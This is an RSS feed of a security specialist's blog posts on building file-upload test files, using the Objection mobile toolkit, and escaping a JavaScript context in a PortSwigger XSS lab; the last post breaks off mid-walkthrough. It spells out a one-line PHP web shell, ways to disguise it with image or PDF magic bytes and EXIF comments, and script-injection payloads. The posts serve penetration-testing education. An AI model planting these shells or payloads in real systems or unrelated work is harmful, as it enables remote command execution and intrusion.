<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: whatminjacodes [she/they]</title>
    <description>The latest articles on Forem by whatminjacodes [she/they] (@whatminjacodes).</description>
    <link>https://forem.com/whatminjacodes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F488908%2F814d8a2e-bab7-4989-b2a9-935b5d7c6101.jpeg</url>
      <title>Forem: whatminjacodes [she/they]</title>
      <link>https://forem.com/whatminjacodes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/whatminjacodes"/>
    <language>en</language>
    <item>
      <title>How to Create Security Test Files for File Upload</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Thu, 22 May 2025 06:43:37 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/how-to-create-security-test-files-for-file-upload-1i08</link>
      <guid>https://forem.com/whatminjacodes/how-to-create-security-test-files-for-file-upload-1i08</guid>
      <description>&lt;p&gt;I created a bunch of test files for security testing file upload functionalities and decided to write this walkthrough on how each file was created!&lt;/p&gt;

&lt;p&gt;You can also download the test files from my &lt;a href="https://github.com/minjahakkeroi/security-test-files" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;, but hopefully people doing security testing don't download random files from the internet :D Instead, it's better to understand how the files work and create them from scratch.&lt;/p&gt;

&lt;p&gt;If you're not familiar with file upload testing in general, you can for example read the &lt;a href="https://portswigger.net/web-security/file-upload" rel="noopener noreferrer"&gt;PortSwigger tutorial&lt;/a&gt; about it.&lt;/p&gt;

&lt;p&gt;So here are the instructions on how to create these test files yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  File upload test files
&lt;/h2&gt;

&lt;p&gt;Here's the list of files covered in this walkthrough:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;regular-excel-document.xlsx&lt;/li&gt;
&lt;li&gt;regular-pdf-document.pdf&lt;/li&gt;
&lt;li&gt;regular-png-file.png&lt;/li&gt;
&lt;li&gt;regular-text-document.txt&lt;/li&gt;
&lt;li&gt;regular-word-document.docx&lt;/li&gt;
&lt;li&gt;eicar-text-document.txt&lt;/li&gt;
&lt;li&gt;eicar-excel-document.xlsx&lt;/li&gt;
&lt;li&gt;eicar-word-document.docx&lt;/li&gt;
&lt;li&gt;php-shell.php&lt;/li&gt;
&lt;li&gt;php-shell-directly-in-image.png&lt;/li&gt;
&lt;li&gt;php-shell-added-to-end-png-magic-bytes.php&lt;/li&gt;
&lt;li&gt;php-shell-with-jpeg-magic-bytes.php&lt;/li&gt;
&lt;li&gt;php-shell-with-pdf-magic-bytes.php&lt;/li&gt;
&lt;li&gt;png-file-with-php-payload-in-comment-metadata.png&lt;/li&gt;
&lt;li&gt;php-shell-with-php-payload-in-png-comment-metadata-png-magic-bytes.php&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Regular files
&lt;/h3&gt;

&lt;p&gt;These are files that don’t have anything special in them.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Excel file is just a regular spreadsheet created in Excel with some text and a &lt;code&gt;=1+1&lt;/code&gt; calculation.&lt;/li&gt;
&lt;li&gt;The Word document is created with Word and includes some text.&lt;/li&gt;
&lt;li&gt;The PDF file is exported from the Word document above and also contains some text.&lt;/li&gt;
&lt;li&gt;The text document is simply a &lt;code&gt;.txt&lt;/code&gt; file with some text in it.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;.png&lt;/code&gt; file is just a small image file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sometimes you just need to try the file upload works as intented and the best way to do that is to use files the service is expecting to get.&lt;/p&gt;

&lt;h3&gt;
  
  
  EICAR files
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Important note&lt;/strong&gt;: EICAR files will likely trigger your antivirus software. However, these are non-malicious files. It's a good idea to create them inside a VM or exclude the folder where you're creating them from your antivirus scans.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  What is EICAR?
&lt;/h4&gt;

&lt;p&gt;The &lt;a href="https://www.eicar.org/download-anti-malware-testfile/" rel="noopener noreferrer"&gt;EICAR Anti-Virus Test File&lt;/a&gt; is a file designed for testing antivirus software without using real malware. It’s a benign file that gets flagged as malicious by antivirus engines. EICAR files can be used to check whether file uploads are scanned for malware.&lt;/p&gt;

&lt;p&gt;The file is a legitimate DOS program made up of 68 printable ASCII characters. If run, it prints the message "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!".&lt;/p&gt;

&lt;h4&gt;
  
  
  eicar-text-document.txt
&lt;/h4&gt;

&lt;p&gt;Create a new text document and paste the following string into it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  eicar-excel-document.xlsx
&lt;/h4&gt;

&lt;p&gt;Create a new Excel document, go to &lt;strong&gt;Insert → Text → Object → Create from File&lt;/strong&gt;, and attach the previously created EICAR text file. Then save the document.&lt;/p&gt;

&lt;h4&gt;
  
  
  eicar-word-document.docx
&lt;/h4&gt;

&lt;p&gt;Create a new Word document, go to &lt;strong&gt;Insert → Object → Create from File&lt;/strong&gt;, and attach the previously created EICAR text file. Save the document.&lt;/p&gt;

&lt;h3&gt;
  
  
  PHP shells
&lt;/h3&gt;

&lt;p&gt;The goal of uploading a PHP shell is to test whether the application allows the upload of executable code and whether that code can actually be executed. These are simple examples, so you should modify the payloads to suit your specific test environment.&lt;/p&gt;

&lt;h4&gt;
  
  
  php-shell.php
&lt;/h4&gt;

&lt;p&gt;Create a new text file and paste the following code into it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save the file and rename it to &lt;code&gt;.php&lt;/code&gt;, or use the following Linux command to create the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo '&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;' &amp;gt;&amp;gt; php-shell.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  php-shell-directly-in-image.png
&lt;/h4&gt;

&lt;p&gt;Same as above, but save the file with a &lt;code&gt;.png&lt;/code&gt; extension, or use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo '&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;' &amp;gt;&amp;gt; php-shell-directly-in-image.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  PHP shells using magic bytes
&lt;/h3&gt;

&lt;p&gt;Magic bytes are the first few bytes of a file and are used to identify the file type. They’re also known as the file signature.&lt;/p&gt;

&lt;p&gt;By modifying the magic bytes, we can make it look like we've uploaded for example an image, when it actually is a PHP shell.&lt;/p&gt;

&lt;h4&gt;
  
  
  php-shell-added-to-end-png-magic-bytes.php
&lt;/h4&gt;

&lt;p&gt;Create this file by appending the payload to the end of a regular &lt;code&gt;.png&lt;/code&gt; file and renaming it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo '&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;' &amp;gt;&amp;gt; regular-png-file.png &amp;amp;&amp;amp; mv regular-png-file.png php-shell-added-to-end-png-magic-bytes.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command first writes &lt;code&gt;&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;&lt;/code&gt; to a file that is named &lt;code&gt;regular-png-file.png&lt;/code&gt; by using echo and &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; and then runs the command &lt;code&gt;mv&lt;/code&gt;, which is used to rename the file.&lt;/p&gt;

&lt;h4&gt;
  
  
  php-shell-with-jpeg-magic-bytes.php
&lt;/h4&gt;

&lt;p&gt;Use a hex editor to change the first bytes of &lt;code&gt;php-shell.php&lt;/code&gt; to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FF D8 FF DB
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These bytes make it look like the file is a &lt;code&gt;.jpeg&lt;/code&gt;. I used &lt;code&gt;hexedit&lt;/code&gt; for changing the bytes and &lt;code&gt;xxd&lt;/code&gt; for checking if the change was successful.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ You may need to add a few characters to the beginning of the file before the payload, as changing the initial bytes might overwrite part of it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  php-shell-with-pdf-magic-bytes.php
&lt;/h4&gt;

&lt;p&gt;Change the first bytes of &lt;code&gt;php-shell.php&lt;/code&gt; to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;25 50 44 46 2D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the file appear to be a &lt;code&gt;.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ Again, you may need to insert few characters to prevent the payload from being discarded.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;png-file-with-php-payload-in-comment-metadata.png&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Use &lt;code&gt;exiftool&lt;/code&gt; to add a PHP shell payload as a comment in a PNG image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exiftool -comment='&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;' png-file-with-php-payload-in-comment-metadata.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;regular-png-file.png&lt;/code&gt; can be used. I renamed it to &lt;code&gt;png-file-with-php-payload-in-comment-metadata.png&lt;/code&gt; so it would be clear which file contains what.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;php-shell-with-php-payload-in-png-comment-metadata-png-magic-bytes.php&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;Use &lt;code&gt;exiftool&lt;/code&gt; to add a PHP shell payload as a comment in a PNG image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exiftool -comment='&amp;lt;?php system($_REQUEST['cmd']); ?&amp;gt;' png-file-with-php-payload-in-comment-metadata.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same as above but rename the &lt;code&gt;.png&lt;/code&gt; file to &lt;code&gt;.php&lt;/code&gt;. The magic bytes will still correspond to PNG, but the file will be &lt;code&gt;.php&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;I hope this tutorial was useful to you! As an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, I get to learn something new about cybersecurity every day. Through this blog, I aim to share tools and techniques that I find valuable in my work, hoping to help others in the field. &lt;/p&gt;

&lt;p&gt;Follow me on Instagram &lt;a href="https://www.instagram.com/minjahakkeroi/" rel="noopener noreferrer"&gt;@minjahakkeroi&lt;/a&gt; for a behind-the-scenes look at my work as an ethical hacker, and to learn more cybersecurity tips and insights! &lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Mobile Security Tools part 3: Objection</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Fri, 01 Nov 2024 11:39:15 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/mobile-security-tools-part-3-objection-531h</link>
      <guid>https://forem.com/whatminjacodes/mobile-security-tools-part-3-objection-531h</guid>
      <description>&lt;h3&gt;
  
  
  Background
&lt;/h3&gt;

&lt;p&gt;As an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, I get to learn something new about cybersecurity every day. Through this blog, I aim to share insights, tools, and techniques that I find valuable in my work, hoping to help others in the field. &lt;/p&gt;

&lt;p&gt;In this post, I’ll be going through how to use Objection!&lt;/p&gt;

&lt;p&gt;Here's the previous blog posts on Mobile Security Tools-series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Part 1: &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-1-scrcpy-an3"&gt;scrcpy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Part 2: &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-2-frida-3mb3"&gt;Frida&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's get started!&lt;/p&gt;

&lt;h3&gt;
  
  
  What is objection?
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/sensepost/objection" rel="noopener noreferrer"&gt;Objection&lt;/a&gt; is a runtime mobile exploration toolkit, powered by Frida. I wrote a blog post that explains what Frida is and how it can be setup on Android. You can find it from &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-2-frida-3mb3"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It supports both iOS and Android.&lt;/p&gt;

&lt;p&gt;Some of the features: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inspect and interact with container file systems.&lt;/li&gt;
&lt;li&gt;Bypass SSL pinning.&lt;/li&gt;
&lt;li&gt;Dump keychains.&lt;/li&gt;
&lt;li&gt;Perform memory related tasks, such as dumping &amp;amp; patching.&lt;/li&gt;
&lt;li&gt;Explore and manipulate objects on the heap.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tutorial
&lt;/h3&gt;

&lt;p&gt;Let's install and use Objection next.&lt;/p&gt;

&lt;h4&gt;
  
  
  Prerequisites
&lt;/h4&gt;

&lt;p&gt;Objection can be used without rooting your phone, but for the sake of this tutorial, it is assumed you also have a rooted device. I used &lt;a href="https://github.com/topjohnwu/Magisk" rel="noopener noreferrer"&gt;Magisk&lt;/a&gt; for rooting my phone. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;br&gt;
A rooted Pixel 6a&lt;br&gt;
Android 13&lt;br&gt;
Ubuntu 22.04.3 LTS&lt;br&gt;
Android &lt;a href="https://developer.android.com/tools/releases/platform-tools" rel="noopener noreferrer"&gt;Platform Tools&lt;/a&gt; downloaded&lt;/p&gt;

&lt;p&gt;If you are new to &lt;a href="https://developer.android.com/tools/adb" rel="noopener noreferrer"&gt;adb&lt;/a&gt;, I recommend you to first read what it is.&lt;/p&gt;

&lt;p&gt;Frida server needs to be setup and running. You can follow my &lt;a href="https://dev.to/whatminjacodes/mobile-security-tools-part-2-frida-3mb3"&gt;tutorial&lt;/a&gt; to get that done.&lt;/p&gt;
&lt;h4&gt;
  
  
  Install objection
&lt;/h4&gt;

&lt;p&gt;Run the following command to install objection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo pip install objection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that's it! You can test everything works as intended by calling the following command on terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;objection -g "com.android.settings" device-type
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That command should print some basic information about the device in use.&lt;/p&gt;

&lt;h4&gt;
  
  
  Testing with an app
&lt;/h4&gt;

&lt;p&gt;We can use &lt;a href="https://github.com/HTBridge/pivaa" rel="noopener noreferrer"&gt;Purposefully Insecure and Vulnerable Android Application&lt;/a&gt; to practice how Objection works. &lt;/p&gt;

&lt;p&gt;Download the project from GitHub and extract the files. Go to platform-tools and use adb to install the .apk file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./adb install /PATH-TO-FILE/pivaa.apk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use &lt;code&gt;pwd&lt;/code&gt; to get the path to a folder you are currently in.&lt;/p&gt;

&lt;p&gt;Next attach objection to the app we just installed. You can find the name of the package using find-command on the adb shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;su
cd /data/app
find -name "*&amp;lt;name&amp;gt;*"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;su&lt;/code&gt;: superuser privileges&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cd /data/app&lt;/code&gt;: folder that has all the installed applications&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;find -name "*&amp;lt;name&amp;gt;*"&lt;/code&gt;: switch &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; to the app name you are trying to find, such as &lt;code&gt;pivaa&lt;/code&gt; (&lt;code&gt;find -name "*pivaa*"&lt;/code&gt;) to find the name of the package.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Attach Objection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;objection -g com.htbridge.pivaa explore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The previous command opens an interactive shell that is attached to the target application. &lt;/p&gt;

&lt;p&gt;Run the following command in the objection shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command should show you information about different data storage locations the application might be using. By doing this we can be sure our connection is working. Objection has now been attached to the application!&lt;/p&gt;

&lt;h4&gt;
  
  
  What's next?
&lt;/h4&gt;

&lt;p&gt;There's lots that can be done using Objection. Some good sources to learn more are listed here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial" rel="noopener noreferrer"&gt;Hacktricks Objection tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/sensepost/objection/wiki/Using-objection" rel="noopener noreferrer"&gt;Objection Wiki&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hope this blog post helped you to get started with Objection!&lt;/p&gt;

&lt;p&gt;Follow me on Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; for a behind-the-scenes look at my work as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, and to learn more cybersecurity tips and insights!&lt;/p&gt;

</description>
      <category>android</category>
      <category>mobile</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Practical Example of Escaping XSS Context</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Mon, 30 Sep 2024 10:14:54 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/practical-example-of-escaping-xss-context-4i5a</link>
      <guid>https://forem.com/whatminjacodes/practical-example-of-escaping-xss-context-4i5a</guid>
      <description>&lt;p&gt;In this post, I’ll show an example of a reflected XSS vulnerability where the user input is reflected inside a JavaScript context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Context in Cross-Site Scripting (XSS)
&lt;/h2&gt;

&lt;p&gt;In Cross-Site Scripting (XSS), context refers to two main factors, according to &lt;a href="https://portswigger.net/web-security/cross-site-scripting/contexts" rel="noopener noreferrer"&gt;Portswigger&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The location where user-controlled data is reflected on the web page.&lt;/li&gt;
&lt;li&gt;Any input validation or processing applied to that data by the web application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The idea is that by identifying where the data appears on the page (its context), you can determine how to escape from that specific context and inject JavaScript code to, for example, prompt an alert box. Triggering an alert box is a common technique used to demonstrate a Proof of Concept (PoC) for an XSS vulnerability on a webpage.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is "Escaping" in XSS?
&lt;/h3&gt;

&lt;p&gt;In XSS attacks, escaping refers to the technique of breaking out of a given context to execute malicious code. For example, if user input is reflected inside an HTML attribute, you can attempt to break out of that attribute and insert executable JavaScript code. The goal is to inject code in a way that alters the structure of the existing web page or script, allowing you to control what gets executed.&lt;/p&gt;

&lt;p&gt;By understanding how input is handled in the web application, you can figure out which characters are needed to break out of the context (like closing a tag) and where to inject your malicious script.&lt;/p&gt;

&lt;h3&gt;
  
  
  Different XSS Contexts
&lt;/h3&gt;

&lt;p&gt;XSS can occur in various contexts, such as inside HTML elements, attributes, or JavaScript code blocks. To discover XSS vulnerabilities, it's important to understand how the data is handled within the application and how to break out of that context to inject executable scripts.&lt;/p&gt;

&lt;p&gt;The method for escaping depends on where the input is reflected:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTML Tag Attribute Context&lt;/strong&gt;: Your input is placed inside an HTML attribute (e.g., &lt;code&gt;value="user input"&lt;/code&gt;). To escape from this, you might need to close the attribute value, close the tag, and introduce a new one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML tags&lt;/strong&gt;: Your input is placed inside an HTML tags (e.g., &lt;code&gt;&amp;lt;div&amp;gt;user input&amp;lt;/div&amp;gt;&lt;/code&gt;). When the XSS context is text between HTML tags, you might need to introduce some new HTML tags designed to trigger execution of JavaScript.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JavaScript Context&lt;/strong&gt;: Your input is reflected inside a JavaScript block (e.g., &lt;code&gt;var data = 'user input';&lt;/code&gt;). When the XSS context involves existing JavaScript in the response, various scenarios can occur, each requiring specific techniques to successfully exploit the vulnerability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The method for escaping depends on where the input is reflected, which is why understanding the context is crucial for exploiting XSS.&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Example of Escaping XSS Context
&lt;/h2&gt;

&lt;p&gt;This example is based on &lt;a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped" rel="noopener noreferrer"&gt;PortSwigger's lab&lt;/a&gt; called "Reflected XSS into a JavaScript string with single quote and backslash escaped" but it's similar to an XSS vulnerability I discovered during a security assessment. You can also open the lab and test this yourself if you want to!&lt;/p&gt;

&lt;p&gt;After opening the lab, we see a webpage that has a search bar on it. When we search for "TestInput" on the search bar, we get "0 search results for 'TestInput'" as a result. After doing a search, you can right-click on the page and choose "Inspect" (on Firefox) to search if the input we send is reflected on the code of the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpt3bpzzdcijal9j84re8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpt3bpzzdcijal9j84re8.png" alt="Screenshot of the webpage showing the reflected input" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this case, we notice the "TestInput" is indeed reflected and we can see it is inside &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;searchTerms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;TestInput&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;img src="/resources/images/tracker.gif?searchTerms=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;searchTerms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;"&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can then try what happens by sending &lt;code&gt;&amp;lt;script&amp;gt;alert("Test")&amp;lt;/script&amp;gt;&lt;/code&gt; on the search bar:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyc87lhp4h9xeou25blmp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyc87lhp4h9xeou25blmp.png" alt="Screenshot of the webpage showing the reflected input" width="800" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We notice that the end part of the previous &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block is now visible on the UI and that inside the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block is now the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;searchTerms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;script&amp;gt;alert("Test")
&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the rest of the code block is now out of the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, we can determine that we were able to close the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag early and the rest of the code is then shown on the UI.&lt;/p&gt;

&lt;p&gt;Let's try closing the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag first like this &lt;code&gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert("Test")&amp;lt;/script&amp;gt;&lt;/code&gt; and then call the script for triggering an alert box:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flz1l847v5qrc9p14eqfo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flz1l847v5qrc9p14eqfo.png" alt="Screenshot of the webpage showing the triggered alert box" width="800" height="536"&gt;&lt;/a&gt;&lt;/p&gt;

